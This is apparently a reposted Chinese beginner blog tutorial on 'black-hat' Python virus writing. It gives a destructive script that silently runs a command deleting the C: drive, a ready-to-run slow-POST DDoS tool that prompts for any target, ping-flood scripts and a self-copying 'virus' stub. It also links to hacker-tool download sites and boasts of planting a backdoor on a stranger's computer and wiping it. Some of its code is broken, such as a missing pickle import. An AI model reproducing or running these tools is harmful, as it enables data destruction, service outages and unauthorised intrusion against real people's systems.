Python3.7黑帽编程——病毒篇!

引子

Hacker(黑客),往往被人们理解为只会用非法手段来破坏网络安全的计算机高手。但是,黑客其实不是这样的,真正的“网络破坏者”是和黑客名称和读音相似的骇客。
骇客,是用黑客手段进行非法操作并为己取得利益的人。黑客,是用黑客手段为国家或单位做事的人。
那么,既然黑客不是一个很坏的职业,我们就可以去试着学习。

黑客本身的初衷

——黑客其实一直是善良的。 骇客其实他的前身就是黑客。
骇客与黑客分家,有这么一个故事:
原本,只有黑客一族。而不久后,有些黑客想用黑客手段来获取利益,不断被其他的黑客反对。于是,那些黑客悄悄私下成立了一个新的族群——骇客族。
骇客族产生后,一直处于保密状态,所以,没有人知道这个族。
直到有一天——
骇客族出现了一次大骚动:
不断的进行网络欺骗、流量攻击,盗取了很多人的账号,还修改了一些大型的搜索网站。
于是,从这天开始,黑骇(黑客和骇客)分家了。
黑客的初衷本是一些测试程序漏洞的计算机高手,他们还帮国家和单位做事。但是,人心总是贪婪,造成了骇客的诞生。
从此以后,防病毒产品诞生了。

基础篇

什么是病毒

病毒,指的是一些通过非法手段获取系统的一些权限,然后进行破坏或者盗取。
病毒分为两类:
1、破坏性
这类病毒往往会将系统弄的乱七八糟,比如把你的U盘删光,把你的系统背景调成黑客图片,把你的桌面全部变成某个图标…
这些病毒一般比较明显,所以,杀毒软件一般比较容易查杀,但是,下面这种就不一样了。
2、非破坏性
非破坏型病毒不会把你的系统怎么样,也不会删除你的文件和修改你的个性化操作,他们只有一个目的:盗取文件或让它们的主人进入你的计算机。例如最典型的灰鸽子,就是让黑客进行连接,然后控制你的电脑。冰河也是一样。还有一种ftp木马,它们的目的就是打开21端口,等待黑客连接。

 

安装编程环境:Python3.7 IDE

在编写程序进行黑客攻击和病毒编写之前,我们得先安装我们的编程环境:Python3.7 IDE
从网络上下载:Python3.7 IDE

接着,双击它,按照安装向导完成安装。

启动

在Windows搜索栏中搜索:Python
会显示出:


打开它!

打造攻击目标:VMware虚拟机

我们现在还没有一个攻击目标,因为我们现在不能攻击别人的电脑,否则,你就是骇客了。
那么,我们只有安装VMware虚拟机了。
安装VMware Workstation player
(注:此处不细说,因为版本不一,安装不一样)
打开!


然后,请下载Windows 7 原生纯净镜像,可以百度“我告诉你”,点击第二个,下载Windows7。

新建虚拟机

点击“创建新虚拟机”


点击“下一步”


这里需要输入Windows7的密钥,按图中输入。
下一步:


下一步:

 


我们已经完成了VMware Workstation 虚拟机的配置,现在我们启动它:

 

 

在这段时间内,计算机(虚拟机)会重启数次,最终完成安装。
安装成功后即可开始使用Windows 7 ,并且可以向它发起猛烈的攻击了。


Windows7是微软(Microsoft)的杰出产品之一,但可惜的是它还是被更优秀的Windows10取代。在2015年,微软(Microsoft)正式宣布不再支持Windows7,也就意味着,不会再有新的更新给使用Windows7的用户了。


启动成功!我们可以在这台Windows上工作,并且也可以攻击它了!

编写经典程序——Hello,World!

打开Python,点击File,New。
在弹出的窗口中输入:

print('Hello, World!')
1

点击Run,最后一个选项,查看结果。
显示:

Hello, World!
1

这表示IDE程序可用,也表示,你已经成为一名程序员了!

测试网络的PING

PING程序是Microsoft(微软公司)为Windows用户准备的网络检测程序,使用它,可以帮你查看网络状态和网络是否可访问。
点击“windows键+R”,打开运行窗口,输入cmd,回车,即可打开终端窗口。在这里,你可以做很多一般人做不到的事情。

 


在终端里输入ping/?,查看详细用法。


常用指令:
PING -t ip
注:这样可以PING指定的IP到永远,除非你停止它。很多初级黑客喜欢用这个参数来进行网络堵塞的攻击。
PING -l 大小 ip
注:这样可以设置发送包大小
PING -n 次数 ip
注:这样可以设置次数。

试试对baidu.com进行PING指令

打开终端,输入PING -n 10 -l 10 baidu.com


(此命令必须在Windows 8以上才可以运行,Windows 7部分版本不支持PING网页)
我们检测到我们可以连接到baidu.com,说明我们的网络是可用的。

TCP\IP协议

TCP/IP传输协议,即传输控制/网络协议,也叫作网络通讯协议。它是在网络的使用中的最基本的通信协议。TCP/IP传输协议对互联网中各部分进行通信的标准和方法进行了规定。并且,TCP/IP传输协议是保证网络数据信息及时、完整传输的两个重要的协议。TCP/IP传输协议是严格来说是一个四层的体系结构,应用层、传输层、网络层和数据链路层都包含其中。
TCP/IP协议是Internet最基本的协议,其中应用层的主要协议有Telnet、FTP、SMTP等,是用来接收来自传输层的数据或者按不同应用要求与方式将数据传输至传输层;传输层的主要协议有UDP、TCP,是使用者使用平台和计算机信息网内部数据结合的通道,可以实现数据传输与数据共享;网络层的主要协议有ICMP、IP、IGMP,主要负责网络中数据包的传送等;而网络访问层,也叫网络接口层或数据链路层,主要协议有ARP、RARP,主要功能是提供链路管理错误检测、对不同通信媒介有关信息细节问题进行有效处理等。
TCP/IP协议能够迅速发展起来并成为事实上的标准,是它恰好适应了世界范围内数据通信的需要。它有以下特点:
(1)协议标准是完全开放的,可以供用户免费使用,并且独立于特定的计算机硬件与操作系统。
(2)独立于网络硬件系统,可以运行在广域网,更适合于互联网。
(3)网络地址统一分配,网络中每一设备和终端都具有一个唯一地址。
(4)高层协议标准化,可以提供多种多样可靠网络服务。

TCP/IP协议的层次

网络层

IP协议
网络层引入了IP协议,制定了一套新地址,使得我们能够区分两台主机是否同属一个网络,这套地址就是网络地址,也就是所谓的IP地址。IP协议将这个32位的地址分为两部分,前面部分代表网络地址,后面部分表示该主机在局域网中的地址。如果两个IP地址在同一个子网内,则网络地址一定相同。为了判断IP地址中的网络地址,IP协议还引入了子网掩码,IP地址和子网掩码通过按位与运算后就可以得到网络地址。
ARP协议
即地址解析协议,是根据IP地址获取MAC地址的一个网络层协议。其工作原理如下:ARP首先会发起一个请求数据包,数据包的首部包含了目标主机的IP地址,然后这个数据包会在链路层进行再次包装,生成以太网数据包,最终由以太网广播给子网内的所有主机,每一台主机都会接收到这个数据包,并取出标头里的IP地址,然后和自己的IP地址进行比较,如果相同就返回自己的MAC地址,如果不同就丢弃该数据包。ARP接收返回消息,以此确定目标机的MAC地址;与此同时,ARP还会将返回的MAC地址与对应的IP地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
路由协议
首先通过IP协议来判断两台主机是否在同一个子网中,如果在同一个子网,就通过ARP协议查询对应的MAC地址,然后以广播的形式向该子网内的主机发送数据包;如果不在同一个子网,以太网会将该数据包转发给本子网的网关进行路由。网关是互联网上子网与子网之间的桥梁,所以网关会进行多次转发,最终将该数据包转发到目标IP所在的子网中,然后再通过ARP获取目标机MAC,最终也是通过广播形式将数据包发送给接收方。而完成这个路由协议的物理设备就是路由器,路由器扮演着交通枢纽的角色,它会根据信道情况,选择并设定路由,以最佳路径来转发数据包。
所以,网络层的主要工作是定义网络地址、区分网段、子网内MAC寻址、对于不同子网的数据包进行路由。

传输层

链路层定义了主机的身份,即MAC地址,而网络层定义了IP地址,明确了主机所在的网段,有了这两个地址,数据包就从可以从一个主机发送到另一台主机。但实际上数据包是从一个主机的某个应用程序发出,然后由对方主机的应用程序接收。而每台电脑都有可能同时运行着很多个应用程序,所以当数据包被发送到主机上以后,是无法确定哪个应用程序要接收这个包。因此传输层引入了UDP协议来解决这个问题,为了给每个应用程序标识身份。
UDP协议
UDP协议定义了端口,同一个主机上的每个应用程序都需要指定唯一的端口号,并且规定网络中传输的数据包必须加上端口信息,当数据包到达主机以后,就可以根据端口号找到对应的应用程序了。UDP协议比较简单,实现容易,但它没有确认机制,数据包一旦发出,无法知道对方是否收到,因此可靠性较差,为了解决这个问题,提高网络可靠性,TCP协议就诞生了。
TCP协议
TCP即传输控制协议,是一种面向连接的、可靠的、基于字节流的通信协议。简单来说TCP就是有确认机制的UDP协议,每发出一个数据包都要求确认,如果有一个数据包丢失,就收不到确认,发送方就必须重发这个数据包。为了保证传输的可靠性,TCP协议在UDP基础之上建立了三次对话的确认机制,即在正式收发数据前,必须和对方建立可靠的连接。TCP数据包和UDP一样,都是由首部和数据两部分组成,唯一不同的是,TCP数据包没有长度限制,理论上可以无限长,但是为了保证网络的效率,通常TCP数据包的长度不会超过IP数据包的长度,以确保单个TCP数据包不必再分割。
传输层的主要工作是定义端口,标识应用程序身份,实现端口到端口的通信,TCP协议可以保证数据传输的可靠性。

应用层

理论上讲,有了以上三层协议的支持,数据已经可以从一个主机上的应用程序传输到另一台主机的应用程序了,但此时传过来的数据是字节流,不能很好的被程序识别,操作性差,因此,应用层定义了各种各样的协议来规范数据格式,常见的有http,ftp,smtp等,在请求Header中,分别定义了请求数据格式Accept和响应数据格式Content-Type,有了这个规范以后,当对方接收到请求以后就知道该用什么格式来解析,然后对请求进行处理,最后按照请求方要求的格式将数据返回,请求端接收到响应后,就按照规定的格式进行解读。
所以应用层的主要工作就是定义数据格式并按照对应的格式解读数据。

黑客入门的操作命令

1、“肉鸡”

“肉鸡”有点类似牵线木偶,是指可以被黑客神不知鬼不觉地远程控制的电脑或者大型服务器。不论什么系统都有可能沦为“肉鸡”。

2、“木马”

“木马”是一种在运行后可以得到系统的控制权的程序。拿网页木马举例,主要是利用浏览器的漏洞把网页木马搞到浏览器访问者本地上,然后自动执行的。

3、“后门”

黑客在通过某种手段成功控制目标主机之后,搞到系统的访问权限。访问系统后通过系统漏洞得到root权限,再安装rootkit,就可以较长时间地控制该目标主机。

4、“弱口令”

弱口令的安全强度不高,易于被猜到破解的密码,比如123456、654321。

5、“溢出”

“溢出”一般指的是缓冲区溢出。说白了,就是程序没有进行有效地监测,导致输入的数据没执行。这样的程序和没有执行的数据越来越多,最后程序会解体,也有可能错误地执行黑客的命令。

6、“花指令”

“花指令”是用汇编语言写成的,导致杀毒软件无法对病毒进行合理地判断。因为杀毒软件有顺序规则,就是从头到尾来查杀病毒。而一旦病毒的头尾顺序不对,杀毒软件就歇菜了。

7、“免杀”

“免杀”,顾名思义,就是免去杀毒软件的查杀。使用一些技术把程序进行修改,这些技术主要有加壳、加密、加花指令等。

8、“加壳”

“加壳”的目的主要有压缩文件、将程序编码加密、免杀等,主要通过一些不一般的算法改变可执行程序或者DLL动态链接库文件的编码。

9、“Shell”

“Shell”是一种程序或者命令的执行环境。比如,一般用远程溢出程序后,可以成功控制远程电脑,在该电脑执行系统命令的环境就是“Shell”。

Python编写基本程序

Python是一个强大的语言,它十分简洁,但是十分有用。
在此书编写时,Python3.7.3已经算较新的版本了,所以如果想和本书同步,请安装Python3.7.3
编程,就是指用一段计算机能听懂的话让计算机去帮你做事情,这就叫编程。
我们已经学会了“Hello,World!”的编写,现在,我们来编写一个简单的登录系统,我们在后期,会将它改装成一个盗取密码的病毒。
登录.py

from tkinter import *
from tkinter import ttk  
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk  
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
try :
    window=tk.Tk()
    window.title('欢迎使用Windows高级功能!')
    window.geometry('450x300')
    
    

    #画布放置图片
    canvas=tk.Canvas(window,height=300,width=500)
    imagefile=tk.PhotoImage(file='Hello.png')
    image=canvas.create_image(0,0,anchor='nw',image=imagefile)
    canvas.pack(side='top')
    #标签 用户名密码
    tk.Label(window,text='用户名:').place(x=100,y=150)
    tk.Label(window,text='密码:').place(x=100,y=190)
    #用户名输入框
    var_usr_name=tk.StringVar()
    entry_usr_name=tk.Entry(window,textvariable=var_usr_name)
    entry_usr_name.place(x=160,y=150)
    #密码输入框
    var_usr_pwd=tk.StringVar()
    entry_usr_pwd=tk.Entry(window,textvariable=var_usr_pwd,show='*')
    entry_usr_pwd.place(x=160,y=190)
 
    #登录函数
    def usr_log_in():
        #输入框获取用户名密码
        usr_name=var_usr_name.get()
        usr_pwd=var_usr_pwd.get()
        #从本地字典获取用户信息,如果没有则新建本地数据库
        try:
            with open('usr_info.pickle','rb') as usr_file:
                usrs_info=pickle.load(usr_file)
        except FileNotFoundError:
            with open('usr_info.pickle','wb') as usr_file:
                usrs_info={'admin':'admin'}
                pickle.dump(usrs_info,usr_file)
        #判断用户名和密码是否匹配
        if usr_name in usrs_info:
            if usr_pwd == usrs_info[usr_name]:
                

                
    
               



                
                tk.messagebox.showinfo(title='welcome',
                                       message='欢迎您:'+usr_name)
                
                

            else:
                
                tk.messagebox.showerror(message='密码错误')
        #用户名密码不能为空
        elif usr_name=='' or usr_pwd=='' :
            
            tk.messagebox.showerror(message='用户名或密码为空')
        #不在数据库中弹出是否注册的框
        else:
            is_signup=tk.messagebox.askyesno('欢迎','您还没有注册,是否现在注册')
            if is_signup:
                usr_sign_up()
    #注册函数
    def usr_sign_up():
        
        #确认注册时的相应函数
        def signtowcg():
        #获取输入框内的内容
            nn=new_name.get()
            np=new_pwd.get()
            npf=new_pwd_confirm.get()
 
            #本地加载已有用户信息,如果没有则已有用户信息为空
            try:
                with open('usr_info.pickle','rb') as usr_file:
                    exist_usr_info=pickle.load(usr_file)
            except FileNotFoundError:
                    exist_usr_info={}           
            
            #检查用户名存在、密码为空、密码前后不一致
            if nn in exist_usr_info:
                tk.messagebox.showerror('错误','用户名已存在')
            elif np =='' or nn=='':
                tk.messagebox.showerror('错误','用户名或密码为空')
            elif np !=npf:
                tk.messagebox.showerror('错误','密码前后不一致')
           #注册信息没有问题则将用户名密码写入数据库
            else:
                exist_usr_info[nn]=np
                with open('usr_info.pickle','wb') as usr_file:
                    pickle.dump(exist_usr_info,usr_file)
                tk.messagebox.showinfo('欢迎','注册成功')
                #注册成功关闭注册框
                window_sign_up.destroy()
        #新建注册界面
        window_sign_up=tk.Toplevel(window)
        window_sign_up.geometry('350x200')
        window_sign_up.title('注册')
        #用户名变量及标签、输入框
        new_name=tk.StringVar()
        tk.Label(window_sign_up,text='用户名:').place(x=10,y=10)
        tk.Entry(window_sign_up,textvariable=new_name).place(x=150,y=10)
        #密码变量及标签、输入框
        new_pwd=tk.StringVar()
        tk.Label(window_sign_up,text='请输入密码:').place(x=10,y=50)
        tk.Entry(window_sign_up,textvariable=new_pwd,show='*').place(x=150,y=50)    
        #重复密码变量及标签、输入框
        new_pwd_confirm=tk.StringVar()
        tk.Label(window_sign_up,text='请再次输入密码:').place(x=10,y=90)
        tk.Entry(window_sign_up,textvariable=new_pwd_confirm,show='*').place(x=150,y=90)    
        #确认注册按钮及位置
        bt_confirm_sign_up=tk.Button(window_sign_up,text='确认注册',
                                 command=signtowcg)
        bt_confirm_sign_up.place(x=150,y=130)
    #退出的函数
    def usr_sign_quit():
        try :
           

            window.destroy()
        except :
            pass
    #登录 注册按钮
    bt_login=tk.Button(window,text='登录',command=usr_log_in)
    bt_login.place(x=140,y=230)
    bt_logup=tk.Button(window,text='注册',command=usr_sign_up)
    bt_logup.place(x=210,y=230)
    bt_logquit=tk.Button(window,text='退出',command=usr_sign_quit)
    bt_logquit.place(x=280,y=230)
    #主循环
    window.mainloop()
    # -*-coding:utf-8-*
    import socket
    import threading
    import Queue
    import time
except :
    pass

这段代码会让用户输入用户名和密码,并且进行登录。

木马程序的编写

在本章,我们将正式开始木马的编写。
用Python写木马,其实很简单。
下面是我例举的一个破坏型木马的代码:
Delete.py

import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk  
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import os
import sys
import subprocess
ret = subprocess.call("del C:\ ", shell=True)
window=tk.Tk()
window.withdraw()  
window.mainloop()  

他其实很简单,但是,却又让一些很基础的用户受骗。
很多人在电脑弹出窗口提示时都喜欢点击“是”“确认”“好”,但是,可能就因为这样,你的C:\被删除了。这意味着,你失去了系统盘!
破坏型木马很好编写,我们在前期都在编写破坏型木马和病毒,所以都比较简单。

Python之外,课外扩展

GoC绘图语言
这种语言主要功能是绘图,是编程新人的不二选择——因为它的代码太简单了!
打开GoC


输入以下代码:

int main()
{
	
	p.fd(100);
	p.rt(90);
	p.fd(100);
	p.rt(90);
	p.fd(100);
	p.rt(90);
	p.fd(100);
	p.rt(90);
	return 0;
}


运行:


C++/C
这些语言想必大家都比较清楚,在这里就不多介绍。
如果对这些语言有兴趣,可以去学习。
在Dev-C++(初学者编程环境)中创建新文件,输入以下代码:

#include<iostream>
using namespace std;
int main()
{
	cout<<"Hello,World!"<<endl;
	return 0;
}

运行后,显示:

Hello,World!
1

初级篇

在这一篇,你将成为一名黑客……

Python编写DDoS攻击程序

分布式拒绝服务攻击(英文意思是Distributed Denial of Service,简称DDoS)是指处于不同位置的多个攻击者同时向一个或数个目标发动攻击,或者一个攻击者控制了位于不同位置的多台机器并利用这些机器对受害者同时实施攻击。由于攻击的发出点是分布在不同地方的,这类攻击称为分布式拒绝服务攻击,其中的攻击者可以有多个。
那么,我们用代码来执行DDoS攻击,你可以邀请你的朋友一起来学习和使用。
下面,你可以把代码复制到你的Python上,然后运行,试试效果。
DDoS.py

import socket
import time
import threading
#Pressure Test,ddos tool

#---------------------------
MAX_CONN=20000
PORT=80
HOST=""#在双引号里输入对方IP或域名,要保证他联网了或开机了.
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            print ("Send buf OK!,conn=%d\n"%i)
            socks.append(s)
        except Exception as ex:
            print ("Could not connect to server or send error:%s"%ex)
            time.sleep(0.1)
#end def
 
def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode())
                #print "send OK!"
            except Exception as ex:
                print ("Send Exception:%s\n"%ex)
                socks.remove(s)
                s.close()
        time.sleep(0.1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

在指定位置输入你要攻击的IP或网址,运行,就可以进行攻击了。

运用PING程序进行网络堵塞攻击

前面说过,PING程序可能会使网络堵塞,所以,我们根据这个原理编写了一个攻击程序。
网络堵塞.py

import os
import socket
import time
ip = input("请输入IP:")
os.system("ping -t -l 50 " + ip)

运行程序,输入IP,就可以等待指定主机网络堵塞了。

连接对方的计算机

我们可以使用“telnet”命令来进行远程终端的连接。
打开终端窗口,输入telnet/?,查看用法:


输入 telnet HOST POST,可以进行连接,这里以baidu.com为例:


这里已经成功连接,正在加载。
运用它可以连接远程主机,实现远程操控。

运用ftp来进行文件传输

ftp是一种协议,也是一种指令,用它,可以进行文件传输。
打开终端,输入:


可以根据这些指令进行文件的传输。
有一些杀毒软件(例如:金山毒霸、趋势科技)会进行阻止,因为它们都会自我防护,防止未知木马下载到计算机上。

copy

运行copy程序,可以让它帮你复制文件,你可以在病毒中添加这个程序,让无知的计算机帮你复制病毒程序。
打开终端窗口,输入copy/?:


根据help,我们来编写一个可以复制某个程序的病毒:

import sys
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk  
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import os
import sys
import subprocess

os.system("copy 路径 路径 ")

这是一个简单的程序,但在后期,却非常有用!

运用socket模块

在上个小节,有个DDoS攻击程序,这个程序里调用了一个模块:socket
这个模块是个很棒的插件,它可以帮你进行连接,就像一个可以帮你插电线的电工。

调用socket模块

#调用socket
import socket
print("Hello,socket!")

DDoS原理

就像接东西,张三接,李四扔。李四不停扔苹果给张三,张三不断接苹果,接着接着,手上满了!那么,只有把苹果掉在地上了。
就是这个原理,我不断进行连接,对方不断处理连接,慢慢的慢慢的,对方的系统主机繁忙到堵塞,一大堆的请求没有处理,堆在网络连接处,系统还在不断处理,等处理到一定时候,系统的运算已经达到了超负荷,就会崩溃。这就是DDoS的原理。

Hacker(黑客)软件(篇)

黑客软件是一些黑客高手做的软件,这些软件可以简化攻击成本和难度,是很多黑客的不二之选。
但是今天,我们不来下别人的黑客软件,咱们来做自己的黑客软件!

黑客软件制作

1、网络堵塞工具 V1.0
首先,我们要设计我们的LOGO:
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┒
┃网络堵塞工具 V1.0||||||||||||||||||||||||||| ┃
┃|||||网络堵塞工具,选这款!|||||||||||| ┃
┖━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[]|[]|[][]|[][][][]|[][][]|[][]tiantian520ttjs所有——
接着,开始想它的呈现方式:
1、终端形式
2、窗口形式
这里,我们来做终端形式。
输入代码:

import tkinter as tk
import tkinter.messagebox
import pickle
import pickle
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk  
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk  
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
def input_cd():
    cd = input("请输入指令>>")
    if cd == "1":
        ping()
    if cd == "2":
        print('此功能暂不可用')
    input_cd()

def ping():
    host = input("请输入对方IP:")
    qiangdu = input("请输入强度(1-65500):")
    
    os.system("ping -t -l " + qiangdu + " " + host)
logo = """
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┒
┃网络堵塞工具 V1.0||||||||||┃
┃|||||网络堵塞工具,选这款!|┃
┖━━━━━━━━━━━━━━━━━━━━━━━━━━┛
 []|[]|[][]|[][][][]|[][][]|[][]tiantian520ttjs所有——
"""

print(logo)
print('[][使用指南][]')
print('1、ping \n2、ddos(正在编写)')
input_cd()

此程序可完成一个简易的攻击工具,你可以对它进行修改,让别的用户使用它。
2、DDoS攻击工具
输入代码:

import socket
import time
import threading
#Pressure Test,ddos tool
print('欢迎使用DDoS攻击工具!')
#---------------------------
MAX_CONN=20000
PORT=80
HOST=input("请输入网址或IP:")
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            print ("Send buf OK!,conn=%d\n"%i)
            socks.append(s)
        except Exception as ex:
            print ("Could not connect to server or send error:%s"%ex)
            time.sleep(0.1)
#end def
 
def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode())
                #print "send OK!"
            except Exception as ex:
                print ("Send Exception:%s\n"%ex)
                socks.remove(s)
                s.close()
        time.sleep(0.1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

它将成为一件出色的软件,你也可以对它进行修改,我贡献在书上的代码,没有版权。

学习并使用别人的黑客软件

当然,黑客高手们做的软件自然比我们好的多。那么,我们该如何去下载那些软件呢?
首先,在下载黑客软件时,要注意防病毒。因为很可能这个软件是被捆绑了病毒的恶意程序!
下面,为大家展示几款软件的安装:

1、SQL tools

访问https://sourceforge.net/projects/sqlt/postdownload进行下载:


同意协议:


选择路径:


下一步:


开始安装:


点击Close,结束安装
(注:在安装之前,请务必安装Java,这是程序的必备用品。最低版本必须要Java 8)
在这里,你可以进行高级的攻击。但是,在这里就暂时不介绍了。

2、ComputerKiller

访问:hackersdld.icoc.vc


这里有很多黑客软件,在后期,会很有用。
点击ComputerKiller 1.9.3,进行下载。
下载完成后打开压缩包,双击exe程序即可。

运用代码和一些工具来查看对方是否可被攻击

例如:我要入侵一台计算机,已知参数:
MAC:00:50:56:38:6F:C3
IP:192.168.132.132
用户名:Administrator

先打开终端窗口,输入PING 192.168.132.132,查看对方状态。


这样,说明对方是可以上网、并且是可用的。
再发现,TTL值为128,如不更改,128TTL应为Windows 7 系统。我们就又获得了一项线索:
OS:Windows 7
接着,我们用DDoS攻击器攻击对方:


对方没有反应!说明,对方的网络不是可以正常使用的,但是,它有一个IP地址与MAC地址!
那我们只有通过别的办法对它进行攻击和入侵了。
打开终端,输入telnet 192.168.132.132 23


发现,也是无法连接!!!
我们再进行测试,如果还是无法进行连接,说明,对方处于NAT网络模式!(注:NAT网络模式就是指只有IP,但不能上网和被连接)
打开远程桌面连接,输入IP连接后发现:


说明对方处于确确实实的NAT状态!这台计算机就不可以被攻击,因为它没有和intelnet进行连接!相当于没有一个可以听声音的耳朵!

黑客软件使用的要点

黑客软件虽然好用,但是,不好下载。
在网上,有很多软件都带有病毒,我下载的一些黑客软件就有,病毒名称:
BKDR_AGENT.AHZU 后门
TROJ_GEN.R002C0PKF19木马
TROJ_GEN.R03FC0PGN19木马
所以,在网上一定要小心这些捆绑了病毒的软件,可能你就会有一天被黑客劫持!
推荐大家到这几个站点去下载黑客软件:
hackersdld.icoc.vc(黑客软件下载)
www.netxeyes.com(小榕主页)
以上就是本章的内容,在下一章,我们将进行更深入的攻击学习,代码攻击将成为重点。

本章课外

最近,小编发现个很搞笑的计算机。这个计算机已被我装上后门,冰河也装上了。我看它桌面的时候,它的桌面是这样的:


满桌面都是骂人的话…
我给它留下一个txt:


接着呢,我又给它重装了个系统,爽啊!
(本段告诉我们:黑客技术不一定是恶意技术!)

这个是入门黑客的基础篇,你学会了吗?

此篇转载文,著作权归作者所有,如有侵权联系小编删除!

原文地址:https://blog.csdn.net/tiantian520ttjs

 

源码工具地址

©️2020 CSDN 皮肤主题: 数字20 设计师:CSDN官方博客 返回首页